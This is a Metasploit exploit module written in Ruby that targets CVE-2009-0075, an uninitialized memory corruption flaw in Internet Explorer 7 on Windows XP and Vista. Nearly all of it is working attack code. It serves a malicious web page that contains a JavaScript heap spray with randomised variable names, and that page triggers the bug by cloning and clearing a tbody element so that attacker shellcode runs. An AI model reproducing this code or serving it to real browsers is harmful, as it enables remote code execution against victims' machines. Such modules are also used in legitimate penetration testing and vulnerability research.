This Metasploit module exploits an error related to the CFunctionPointer function when attempting to access uninitialized memory. A remote attacker could exploit this vulnerability to corrupt memory and execute arbitrary code on the system with the privileges of the victim.
02900e7ca8c7b2f6e14ac6ecbd4314f2fb32471a0a02df748c5da4541bc2cce0###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer 7 Uninitialized Memory Corruption Vulnerability',
'Description' => %q{
This module exploits an error related to the CFunctionPointer function when attempting
to access uninitialized memory. A remote attacker could exploit this vulnerability to
corrupt memory and execute arbitrary code on the system with the privileges of the victim.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean [at] zerodaysolutions [dot] com' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-0075' ],
[ 'OSVDB', '51839'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Feb 17 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize the javascript variable names.
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)
rand12 = rand_text_alpha(rand(100) + 1)
rand13 = rand_text_alpha(rand(100) + 1)
fill = rand_text_alpha(25)
content = %Q|
<html>
<script language="JavaScript">
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = new Array();
var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);
var #{rand4} = unescape("#{ret}");
while(#{rand4}.length<#{rand3}/2)
{#{rand4}+=#{rand4};}
var #{rand5} = #{rand4}.substring(0,#{rand3}/2);
delete #{rand4};
for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++)
{#{rand2}[#{rand6}] = #{rand5} + #{rand1};}
CollectGarbage();
var #{rand7} = unescape("#{ret}"+"#{fill}");
var #{rand8} = new Array();
for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)
#{rand8}.push(document.createElement("img"));
function #{rand10}()
{
#{rand11} = document.createElement("tbody");
#{rand11}.click;
var #{rand12} = #{rand11}.cloneNode();
#{rand11}.clearAttributes();
#{rand11}=null;
CollectGarbage();
for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
#{rand8}[#{rand13}].src=#{rand7};
#{rand12}.click;
}
window.setTimeout("#{rand10}();",800);
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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